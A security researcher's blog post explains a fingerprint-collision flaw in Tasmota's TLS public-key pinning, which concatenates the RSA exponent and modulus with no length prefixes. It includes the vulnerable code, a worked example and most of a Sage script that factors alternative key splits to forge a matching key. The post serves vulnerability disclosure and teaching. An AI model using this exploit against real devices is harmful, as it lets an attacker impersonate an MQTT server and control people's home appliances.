rya.nc

Plugin Secure: Exploiting Ambiguous Serialization

2025-10-04T11:34:00+01:00

Note: This post was written in August 2020, but I got stuck on how to finish it. I’m now publishing it as-is so it doesn’t languish in ‘drafts’ forever.

For an embedded device, TLS certificate validation presents some unique challenges. The obvious problem is the limited processing power, but the real issue is that a typical root CA bundle is well over 100KB and there may not be enough storage available for it. One possible workaround is simply authenticating the server’s public key based on a hash, similar to how SSH works. While there are some drawbacks, this is secure if implemented correctly. If not… well, that’s where I come in.

Smart home devices and automation have interested me for a long time. In the mid 2000s, I got some cheap X10 modules to experiment with. They worked. Kind of. Usually. You could control them with a computer with a serial module that brought RF communications into the mix for no good reason. The poor reliability and difficulty setting these devices up kept them from ever getting significant adoption. A lot has changed in 20 years.

The ESP8266 WiFi chip entered production December 30^th 2013. It was intended to provide internet connectivity to other microcontrollers. Though it only cost a few dollars, it was actually a very capable platform all by itself. By the end of 2014, SDKs were available to run software on it directly. Cheap WiFi-enabled modules based on the ESP8266, such as the ESP-01, helped fuel the “internet of things”.

Reactions to the popularity of mass market smart home devices have been… mixed.

Tech Enthusiasts: Everything in my house is wired to the Internet of Things! I control it all from my smartphone! My smart-house is bluetooth enabled and I can give it voice commands via alexa! I love the future!

Programmers / Engineers: The most recent piece of technology I own is a printer from 2004 and I keep a loaded gun ready to shoot it if it ever makes an unexpected noise.

—biggaybunny

I’ve avoided these products because they generally rely on cloud services. While a hosted model makes sense for most people, it gives the vendor access to a lot of data, which they may sell, leave in an unsecured AWS S3 bucket or otherwise distribute. On top of that, there have been a number of instances of companies abruptly shutting down their servers, leaving the devices depending on them useless. Having “LAN-only” operation as an option is considered a niche feature and is generally priced accordingly.

In 2020, I bought a WiFi-enabled air purifier. I hadn’t planned to connect it to my network, but then I discovered someone had published code to use it without the cloud service. Once I got that working, I wanted more.

My research turned up a number of cheap WiFi-enabled devices using the ESP8266, and someone’d already done the hard work of figuring out how to reflash them without disassembly[1]. Not only that, but there were several seemingly well maintained options for open source firmware including ESPeasy, ESPurna, Tasmota, and ESPhome. The documentation for Tasmota seemed quite good and included lots of details on supported devices. I wanted to be able to control power to a few appliances, and eventually settled on the Aoycocr U3S. It looked well supported and Amazon had them in stock. A few days later they arrived and I was able to flash them without a hitch.

Tasmota is intended to be used with an MQTT broker. Perusing the documentation, I saw that there was even support for TLS. Being the sort of person to run transport-mode IPSec on their home network[2], I had to use TLS. The default builds don’t include TLS support because of code size constraints, but it’s available as a compile time option. Validation can be done using either the standard CA-based approach, or using public key fingerprints. For convenience, the server can be automatically trusted on first use, with the fingerprint stored for future connections.

The documentation for this feature got my attention (emphasis mine):

The fingerprint is now calculated on the server’s Public Key and no longer on its Certificate. The good news is that Public Keys tend to change far less often than certificates, i.e. LetsEncrypt triggers a certificate renewal every 3 months, the Public Key fingerprint will not change after a certificate renewal. The bad news is that there is no openssl command to retrieve the server’s Public Key fingerprint, although a tool exists to calculate it from your certificate.

I took a look at the fingerprint code.

WiFiClientSecureLightBearSSL.cpp
698	<span class="pgcssk">static</span><span class="pgcssw"> </span><span class="pgcsskt">void</span><span class="pgcssw"> </span><span class="pgcssnf">pubkeyfingerprint_pubkey_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">br_sha1_context</span><span class="pgcssw"> </span><span class="pgcsso">*</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">br_rsa_public_key</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">)</span><span class="pgcssw"> </span><span class="pgcssp">{</span>
699	`<span class="pgcssw"> </span><span class="pgcssn">br_sha1_init</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">);</span>`
700	`<span class="pgcssw"> </span><span class="pgcssn">br_sha1_update</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcsss">"ssh-rsa"</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssmi">7</span><span class="pgcssp">);</span><span class="pgcssw"> </span><span class="pgcssc1">// tag</span>`
701	<span class="pgcssw"> </span><span class="pgcssn">br_sha1_update</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">e</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">elen</span><span class="pgcssp">);</span><span class="pgcssw"> </span><span class="pgcssc1">// exponent</span>
702	<span class="pgcssw"> </span><span class="pgcssn">br_sha1_update</span><span class="pgcssp">(</span><span class="pgcssn">shactx</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">n</span><span class="pgcssp">,</span><span class="pgcssw"> </span><span class="pgcssn">rsakey</span><span class="pgcssp">.</span><span class="pgcssn">nlen</span><span class="pgcssp">);</span><span class="pgcssw"> </span><span class="pgcssc1">// modulus</span>
703	`<span class="pgcssp">}</span>`

While SHA-1 is vulnerable to collision attacks, it’s still secure against preimage attacks which generate data matching a specific hash.

This scheme was obviously based on the one used by OpenSSH. It’s key serialization format is specified in RFC 4253 as

string    &quot;ssh-rsa&quot;

mpint     e

mpint     n

The meaning of the string and mpint types isn’t actually defined in RFC 4253 — that’s covered in RFC 4251. The important thing to note is that they are both prefixed by their lengths.

So, what’s in the br_rsa_public_key struct?

t_bearssl_rsa.h
155	`<span class="pgcsscm">/**</span>`
156	`<span class="pgcsscm"> * \brief RSA public key.</span>`
157	`<span class="pgcsscm"> *</span>`
158	`<span class="pgcsscm"> * The structure references the modulus and the public exponent. Both</span>`
159	`<span class="pgcsscm"> * integers use unsigned big-endian representation; extra leading bytes</span>`
160	`<span class="pgcsscm"> * of value 0 are allowed.</span>`
161	`<span class="pgcsscm"> */</span>`
162	`<span class="pgcssk">typedef</span><span class="pgcssw"> </span><span class="pgcssk">struct</span><span class="pgcssw"> </span><span class="pgcssp">{</span>`
163	`<span class="pgcssw"> </span><span class="pgcsscm">/** \brief Modulus. */</span>`
164	`<span class="pgcssw"> </span><span class="pgcsskt">unsigned</span><span class="pgcssw"> </span><span class="pgcsskt">char</span><span class="pgcssw"> </span><span class="pgcsso">*</span><span class="pgcssn">n</span><span class="pgcssp">;</span>`
165	`<span class="pgcssw"> </span><span class="pgcsscm">/** \brief Modulus length (in bytes). */</span>`
166	`<span class="pgcssw"> </span><span class="pgcsskt">size_t</span><span class="pgcssw"> </span><span class="pgcssn">nlen</span><span class="pgcssp">;</span>`
167	`<span class="pgcssw"> </span><span class="pgcsscm">/** \brief Public exponent. */</span>`
168	`<span class="pgcssw"> </span><span class="pgcsskt">unsigned</span><span class="pgcssw"> </span><span class="pgcsskt">char</span><span class="pgcssw"> </span><span class="pgcsso">*</span><span class="pgcssn">e</span><span class="pgcssp">;</span>`
169	`<span class="pgcssw"> </span><span class="pgcsscm">/** \brief Public exponent length (in bytes). */</span>`
170	`<span class="pgcssw"> </span><span class="pgcsskt">size_t</span><span class="pgcssw"> </span><span class="pgcssn">elen</span><span class="pgcssp">;</span>`
171	`<span class="pgcssp">}</span><span class="pgcssw"> </span><span class="pgcssn">br_rsa_public_key</span><span class="pgcssp">;</span>`

So, the fingerprint is the SHA-1 hash of the literal string “ssh-rsa”, the public exponent, and the modulus all concatenated together. No length prefixes or separators. I immediately suspected it was exploitable. Since the size of the public exponent and modulus aren’t fixed, the input to the hash function is ambiguous. To illustrate in Python:

<span class="pgcssc1"># SPDX-License-Identifier: CC0-1.0+ OR 0BSD OR MIT-0</span>

<span class="pgcsskn">import</span> <span class="pgcssnn">hashlib</span>

<span class="pgcssk">def</span> <span class="pgcssnf">hash_concatenated</span><span class="pgcssp">(</span><span class="pgcssn">words</span><span class="pgcssp">):</span>

    <span class="pgcssn">sha</span> <span class="pgcsso">=</span> <span class="pgcssn">hashlib</span><span class="pgcsso">.</span><span class="pgcssn">sha256</span><span class="pgcssp">()</span>

    <span class="pgcssk">for</span> <span class="pgcssn">word</span> <span class="pgcssow">in</span> <span class="pgcssn">words</span><span class="pgcssp">:</span>

        <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">word</span><span class="pgcsso">.</span><span class="pgcssn">encode</span><span class="pgcssp">())</span>

    <span class="pgcssk">return</span> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">()</span>

<span class="pgcssn">A</span> <span class="pgcsso">=</span> <span class="pgcssn">hash_concatenated</span><span class="pgcssp">([</span><span class="pgcsss1">&#39;plugin&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;secure&#39;</span><span class="pgcssp">])</span>

<span class="pgcssn">B</span> <span class="pgcsso">=</span> <span class="pgcssn">hash_concatenated</span><span class="pgcssp">([</span><span class="pgcsss1">&#39;plug&#39;</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;insecure&#39;</span><span class="pgcssp">])</span>

<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">A</span> <span class="pgcsso">==</span> <span class="pgcssn">B</span><span class="pgcssp">)</span> <span class="pgcssc1"># True</span>

Relevant XKCD:

As used in TLS, RSA keys commonly use e = 65537 as their public exponent with n = pq as their modulus where p and q are random prime numbers several hundred decimal digits long. With p and q, the private exponent d can be calculated as the modular multiplicative inverse of e with respect to (p − 1)(q − 1).

If the original public key was e = 17, n = 279581516717, then it would concatenate to 17279581516717. From this, colliding candidate public keys can be created my splitting the digits in different places. Maybe one of them will be easy to crack?

e = 172, n = 79581516717 — Can’t use this because e is even.

e = 1727, n = 9581516717 — No luck here, n is prime.

e = 17279, n = 581516717 — Trivial to factor! n = 19⋅30606143

Now d can be calculated.

φ(n) = (19 − 1) ⋅ (30606143 − 1)

φ(n) = 18 ⋅ 30606142

φ(n) = 550910556

d = invert(17279, 550910556)

d = 480193523

In TLS, however, the numbers will be a lot bigger — typically e 65537 and n is a 2048 bit (617 decimal digit) semiprime. Implementations vary in the ranges of values they will accept in RSA keys, and the attack will be constrained by those limits. Tasmota uses BearSSL [3], so that will be the focus for a moment. Per the documentation, by default BearSSL will accept RSA keys with a modulus at least 128 bytes long — that’s 1017 bits (307 decimal digits). A lot of libraries limit the public exponent to a 32 or 64 bit value — what about BearSSL?

The source code holds the answer:

The X.509 “minimal” engine will tolerate public exponents of arbitrary size as long as the modulus and the exponent can fit together in the dedicated buffer.

If exponents can be arbitrarily large, that means for a 2048 bit key with the standard e value, there are theoretically 128 alternate places where e and n can be split. In practice, there are some further restrictions that come into play. The biggest one that immediately rules out about half of the options is the need for e to be odd. Another issue is that BearSSL always encodes n without leading zero bytes, so the first byte after the split must be nonzero.

Even with the splitting, the number to be factored is still quite large. I’ve previously done some research that involved factoring semiprimes used in RSA, but anything much beyond 512 bits (155 decimal digits) requires more computational resources than I have access to. For a 1024 bit semiprime, the cost to factor is probably on the order of $10M USD. In this case, however, the number is effectively random and has a reasonable chance of having some small factors.

Although RSA private keys normally use two primes, the math still works with three or more. I initially assumed that would require too much effort to implement. I’ve gotten textbook RSA working with it before, but I doubted I’d be able to hack a TLS library into using it. Instead, I tried to go the lazy route. My initial strategy was to simply send the new n value to factordb and try to construct an RSA key with composite values for p and q. This did not work, even when the resulting φ(n) was coprime to e. To be honest, I don’t understand the math well enough to explain why. I almost gave up at that point, but I really wanted to find a way to pull off the attack. Instead, I complained to some friends in a chat room:

RyanC: I’m trying to write an exploit for something, and it needs to use RSA with a modulus that has more than two factors.

RyanC: I thought that this could be made to work by just using composite p and q.

RyanC: that, however, does not work with openssl

RyanC: is this just openssl’s optimizations shooting me in the foot, or does this actually not work?

RyanC: I don’t really want to build a hacked TLS lib that does multiprime rsa

Within a few minutes, someone responded pointing out that Go’s standard cryptography library actually did support this, and then another mentioned there’s a standardized format for it. Some further digging revealed that OpenSSL can also handle multi-prime RSA as of version 1.1.1. All I had to do was find a full prime factorization and get the key in the right format.

Creating a properly formatted key was the easy part. In previous projects where I’ve done ill-advised things with RSA keys I’ve used the RSA.construct method of PyCryptodome [4], but that only supports the standard two prime version. There don’t seem to be any libraries available that handle the multi-prime case, so I had to write my own.

Actually doing the factorization was a bit harder. This particular bug provides a few dozen possible values to try to factor, so an algorithm that can probabilistically find factors up to a few dozen digits long quickly would be ideal. Lenstra elliptic-curve factorization (also known as the “elliptic-curve factorization method”, or “ECM” for short) is such an algorithm, and the GMP-ECM implementation of it is packaged for many Linux distributions. The details of how it works aren’t important, though I found a forum post that tries to explain it with an analogy. The most important point is that when running it, one needs to choose a value B1 which corresponds to a vague range of values to search, and then run a bunch of randomized trials. The larger the range, the more trials needed to be confident there are no factors to be found there.

I had some issues with ECM when testing. The factors returned by it aren’t necessarily prime, so they may require further breakdown. If all of the factors of a number were too small, this sometimes wouldn’t work. I had to add code to avoid this problem by starting out with a trial division pass, and feeding any composites of 30 digits or less to the factor utility that comes installed by default on most Linux systems.

crack_split_rsa.sage
1	`<span class="pgcssc1"># Tested with the version of Sage available for Ubuntu 20.04</span>`
2
3	`<span class="pgcsskn">import</span> <span class="pgcssnn">sys</span>`
4	`<span class="pgcsskn">import</span> <span class="pgcssnn">json</span>`
5
6	`<span class="pgcsskn">from</span> <span class="pgcssnn">sage.all</span> <span class="pgcsskn">import</span> <span class="pgcsso">*</span>`
7
8	`<span class="pgcsskn">from</span> <span class="pgcssnn">binascii</span> <span class="pgcsskn">import</span> <span class="pgcssn">unhexlify</span>`
9
10	`<span class="pgcssk">class</span> <span class="pgcssnc">Unbuffered</span><span class="pgcssp">(</span><span class="pgcssnb">object</span><span class="pgcssp">):</span>`
11	`<span class="pgcssk">def</span> <span class="pgcssfm">__init__</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">stream</span><span class="pgcssp">):</span>`
12	`<span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span> <span class="pgcsso">=</span> <span class="pgcssn">stream</span>`
13	`<span class="pgcssk">def</span> <span class="pgcssnf">write</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">data</span><span class="pgcssp">):</span>`
14	`<span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">data</span><span class="pgcssp">)</span>`
15	`<span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">flush</span><span class="pgcssp">()</span>`
16	`<span class="pgcssk">def</span> <span class="pgcssnf">writelines</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">datas</span><span class="pgcssp">):</span>`
17	`<span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">writelines</span><span class="pgcssp">(</span><span class="pgcssn">datas</span><span class="pgcssp">)</span>`
18	`<span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcsso">.</span><span class="pgcssn">flush</span><span class="pgcssp">()</span>`
19	`<span class="pgcssk">def</span> <span class="pgcssfm">__getattr__</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">attr</span><span class="pgcssp">):</span>`
20	`<span class="pgcssk">return</span> <span class="pgcssnb">getattr</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">stream</span><span class="pgcssp">,</span> <span class="pgcssn">attr</span><span class="pgcssp">)</span>`
21
22	`<span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span> <span class="pgcsso">=</span> <span class="pgcssn">Unbuffered</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcssp">)</span>`
23
24	`<span class="pgcssk">def</span> <span class="pgcssnf">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">):</span>`
25	`<span class="pgcssk">return</span> <span class="pgcssnb">int</span><span class="pgcsso">.</span><span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">b</span><span class="pgcssp">,</span> <span class="pgcsss1">'big'</span><span class="pgcssp">)</span>`
26
27	`<span class="pgcssk">def</span> <span class="pgcssnf">find_small_primes</span><span class="pgcssp">(</span><span class="pgcssn">end</span><span class="pgcssp">):</span>`
28	`<span class="pgcssn">ret</span> <span class="pgcsso">=</span> <span class="pgcssp">[]</span>`
29	`<span class="pgcssn">P</span> <span class="pgcsso">=</span> <span class="pgcssn">Primes</span><span class="pgcssp">()</span>`
30	`<span class="pgcssn">p</span> <span class="pgcsso">=</span> <span class="pgcssn">P</span><span class="pgcsso">.</span><span class="pgcssn">first</span><span class="pgcssp">()</span>`
31	`<span class="pgcssk">while</span> <span class="pgcssn">p</span> <span class="pgcsso"><</span> <span class="pgcssn">end</span><span class="pgcssp">:</span>`
32	`<span class="pgcssn">ret</span><span class="pgcsso">.</span><span class="pgcssn">append</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span>`
33	`<span class="pgcssn">p</span> <span class="pgcsso">=</span> <span class="pgcssn">P</span><span class="pgcsso">.</span><span class="pgcssn">next</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span>`
34
35	`<span class="pgcssk">return</span> <span class="pgcssn">ret</span>`
36
37	`<span class="pgcssn">small_primes</span> <span class="pgcsso">=</span> <span class="pgcssn">find_small_primes</span><span class="pgcssp">(</span><span class="pgcssmi">10000</span><span class="pgcssp">)</span>`
38
39	`<span class="pgcssc1"># look for easy factors</span>`
40	`<span class="pgcssk">def</span> <span class="pgcssnf">try_factor</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">iters</span><span class="pgcsso">=</span><span class="pgcssmi">30</span><span class="pgcssp">,</span> <span class="pgcssn">B1</span><span class="pgcsso">=</span><span class="pgcssmi">1000</span><span class="pgcssp">):</span>`
41	`<span class="pgcssn">L</span> <span class="pgcsso">=</span> <span class="pgcssp">[]</span>`
42	`<span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">n</span>`
43
44	`<span class="pgcssc1"># find small factors using trial division - ecm doesn't always find them</span>`
45	`<span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">small_primes</span><span class="pgcssp">:</span>`
46	`<span class="pgcssk">while</span> <span class="pgcssn">q</span> <span class="pgcsso">%</span> <span class="pgcssn">p</span> <span class="pgcsso">==</span> <span class="pgcssmi">0</span><span class="pgcssp">:</span>`
47	`<span class="pgcssn">L</span> <span class="pgcsso">+=</span> <span class="pgcssp">[</span><span class="pgcssn">p</span><span class="pgcssp">]</span>`
48	`<span class="pgcssn">q</span> <span class="pgcsso">/=</span> <span class="pgcssn">p</span>`
49
50	`<span class="pgcssc1"># find larger factors using ecm</span>`
51	`<span class="pgcssk">for</span> <span class="pgcssn">_</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssn">iters</span><span class="pgcssp">):</span>`
52	`<span class="pgcssk">try</span><span class="pgcssp">:</span>`
53	`<span class="pgcssn">p</span><span class="pgcssp">,</span> <span class="pgcssn">q</span> <span class="pgcsso">=</span> <span class="pgcssn">ecm</span><span class="pgcsso">.</span><span class="pgcssn">one_curve</span><span class="pgcssp">(</span><span class="pgcssn">q</span><span class="pgcssp">,</span> <span class="pgcssn">B1</span><span class="pgcsso">=</span><span class="pgcssn">B1</span><span class="pgcssp">)</span>`
54	`<span class="pgcssk">if</span> <span class="pgcssn">p</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span>`
55	`<span class="pgcssn">L</span> <span class="pgcsso">+=</span> <span class="pgcssn">ecm</span><span class="pgcsso">.</span><span class="pgcssn">factor</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span>`
56
57	`<span class="pgcssc1"># are we done yet?</span>`
58	`<span class="pgcssk">if</span> <span class="pgcssn">is_pseudoprime</span><span class="pgcssp">(</span><span class="pgcssn">q</span><span class="pgcssp">)</span> <span class="pgcssow">and</span> <span class="pgcssn">q</span><span class="pgcsso">*</span><span class="pgcssn">prod</span><span class="pgcssp">(</span><span class="pgcssn">L</span><span class="pgcssp">)</span> <span class="pgcsso">==</span> <span class="pgcssn">n</span><span class="pgcssp">:</span>`
59	`<span class="pgcssk">return</span> <span class="pgcssp">(</span><span class="pgcsskc">True</span><span class="pgcssp">,</span> <span class="pgcssn">L</span> <span class="pgcsso">+</span> <span class="pgcssp">[</span><span class="pgcssn">q</span><span class="pgcssp">])</span>`
60
61	`<span class="pgcssc1"># retry with different B1</span>`
62	`<span class="pgcssn">B1</span> <span class="pgcsso">+=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">sqrt</span><span class="pgcssp">(</span><span class="pgcssn">B1</span><span class="pgcssp">))</span>`
63	`<span class="pgcssk">except</span><span class="pgcssp">:</span>`
64	`<span class="pgcssk">pass</span>`
65
66	`<span class="pgcssc1"># failed to factor</span>`
67	`<span class="pgcssk">return</span> <span class="pgcssp">(</span><span class="pgcsskc">False</span><span class="pgcssp">,</span> <span class="pgcssn">L</span> <span class="pgcsso">+</span> <span class="pgcssp">[</span><span class="pgcssn">n</span><span class="pgcsso">/</span><span class="pgcssn">prod</span><span class="pgcssp">(</span><span class="pgcssn">L</span><span class="pgcssp">)])</span>`
68
69	`<span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">'__main__'</span><span class="pgcssp">:</span>`
70	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'I:Starting up...'</span><span class="pgcssp">)</span>`
71	`<span class="pgcssn">raw</span> <span class="pgcsso">=</span> <span class="pgcssn">unhexlify</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">])</span>`
72
73	`<span class="pgcssn">raw_n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span>`
74
75	`<span class="pgcssn">found</span> <span class="pgcsso">=</span> <span class="pgcssp">{}</span>`
76	`<span class="pgcssn">incomplete</span> <span class="pgcsso">=</span> <span class="pgcssp">{}</span>`
77	`<span class="pgcssn">iters</span> <span class="pgcsso">=</span> <span class="pgcssmi">30</span>`
78	`<span class="pgcssk">for</span> <span class="pgcssn">attempt</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">3</span><span class="pgcssp">):</span>`
79	<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'I:Attempt </span><span class="pgcsssi">{a}</span><span class="pgcsss1">, iters=</span><span class="pgcsssi">{i}</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">a</span><span class="pgcsso">=</span><span class="pgcssp">(</span><span class="pgcssn">attempt</span><span class="pgcsso">+</span><span class="pgcssmi">1</span><span class="pgcssp">),</span> <span class="pgcssn">i</span><span class="pgcsso">=</span><span class="pgcssn">iters</span><span class="pgcssp">))</span>
80	`<span class="pgcssk">for</span> <span class="pgcssn">pos</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssn">raw_n_bytes</span> <span class="pgcsso">-</span> <span class="pgcssmi">128</span><span class="pgcssp">,</span> <span class="pgcssmi">1</span><span class="pgcssp">,</span> <span class="pgcsso">-</span><span class="pgcssmi">1</span><span class="pgcssp">):</span>`
81	`<span class="pgcssc1"># go on if we already founds factors from this split point</span>`
82	`<span class="pgcssk">if</span> <span class="pgcssn">pos</span> <span class="pgcssow">in</span> <span class="pgcssn">found</span><span class="pgcssp">:</span>`
83	`<span class="pgcssk">continue</span>`
84
85	`<span class="pgcssn">e_len</span> <span class="pgcsso">=</span> <span class="pgcssn">pos</span>`
86	`<span class="pgcssn">n_len</span> <span class="pgcsso">=</span> <span class="pgcssn">raw_n_bytes</span> <span class="pgcsso">-</span> <span class="pgcssn">pos</span>`
87	`<span class="pgcssn">e_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">raw</span><span class="pgcssp">[:</span><span class="pgcssn">pos</span><span class="pgcssp">]</span>`
88	`<span class="pgcssn">n_bytes</span> <span class="pgcsso">=</span> <span class="pgcssn">raw</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">:]</span>`
89	`<span class="pgcssn">e</span> <span class="pgcsso">=</span> <span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">e_bytes</span><span class="pgcssp">)</span>`
90	`<span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">from_bytes</span><span class="pgcssp">(</span><span class="pgcssn">n_bytes</span><span class="pgcssp">)</span>`
91
92	`<span class="pgcssc1"># skip if e is unusable or is a 'standard' value</span>`
93	<span class="pgcssk">if</span> <span class="pgcssn">e</span> <span class="pgcsso"><</span> <span class="pgcssmi">3</span> <span class="pgcssow">or</span> <span class="pgcssn">e</span> <span class="pgcsso">%</span> <span class="pgcssmi">2</span> <span class="pgcsso">==</span> <span class="pgcssmi">0</span> <span class="pgcssow">or</span> <span class="pgcssn">e</span> <span class="pgcssow">in</span> <span class="pgcssp">[</span><span class="pgcssmi">65537</span><span class="pgcssp">,</span> <span class="pgcssmi">257</span><span class="pgcssp">,</span> <span class="pgcssmi">17</span><span class="pgcssp">,</span> <span class="pgcssmi">3</span><span class="pgcssp">]:</span>
94	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'D:Cannot use e at [</span><span class="pgcsssi">{}</span><span class="pgcsss1">] - even or too small'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">pos</span><span class="pgcssp">))</span>`
95	`<span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span>`
96	`<span class="pgcssk">continue</span>`
97
98	`<span class="pgcssk">if</span> <span class="pgcssn">n_bytes</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span> <span class="pgcsso">==</span> <span class="pgcssmi">0</span><span class="pgcssp">:</span>`
99	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'D:Cannot use n at [</span><span class="pgcsssi">{}</span><span class="pgcsss1">] - leading zero byte'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">pos</span><span class="pgcssp">))</span>`
100	`<span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span>`
101	`<span class="pgcssk">continue</span>`
102
103	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'I:Looking for factors at [</span><span class="pgcsssi">{}</span><span class="pgcsss1">]'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">pos</span><span class="pgcssp">))</span>`
104	`<span class="pgcssn">success</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssn">try_factor</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">,</span> <span class="pgcssn">iters</span><span class="pgcssp">)</span>`
105	`<span class="pgcssk">if</span> <span class="pgcssn">success</span><span class="pgcssp">:</span>`
106	`<span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso"><</span> <span class="pgcssmi">2</span><span class="pgcssp">:</span>`
107	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'N:Unable to construct key with prime modulus'</span><span class="pgcssp">)</span>`
108	`<span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span>`
109	`<span class="pgcssk">continue</span>`
110
111	`<span class="pgcssn">min_prime</span> <span class="pgcsso">=</span> <span class="pgcssnb">min</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span>`
112	<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'N:Found </span><span class="pgcsssi">{c}</span><span class="pgcsss1"> factors for n at [</span><span class="pgcsssi">{p}</span><span class="pgcsss1">] - smallest is </span><span class="pgcsssi">{m}</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">c</span><span class="pgcsso">=</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">),</span> <span class="pgcssn">p</span><span class="pgcsso">=</span><span class="pgcssn">pos</span><span class="pgcssp">,</span> <span class="pgcssn">m</span><span class="pgcsso">=</span><span class="pgcssn">min_prime</span><span class="pgcssp">))</span>
113
114	`<span class="pgcssn">seen_primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">set</span><span class="pgcssp">()</span>`
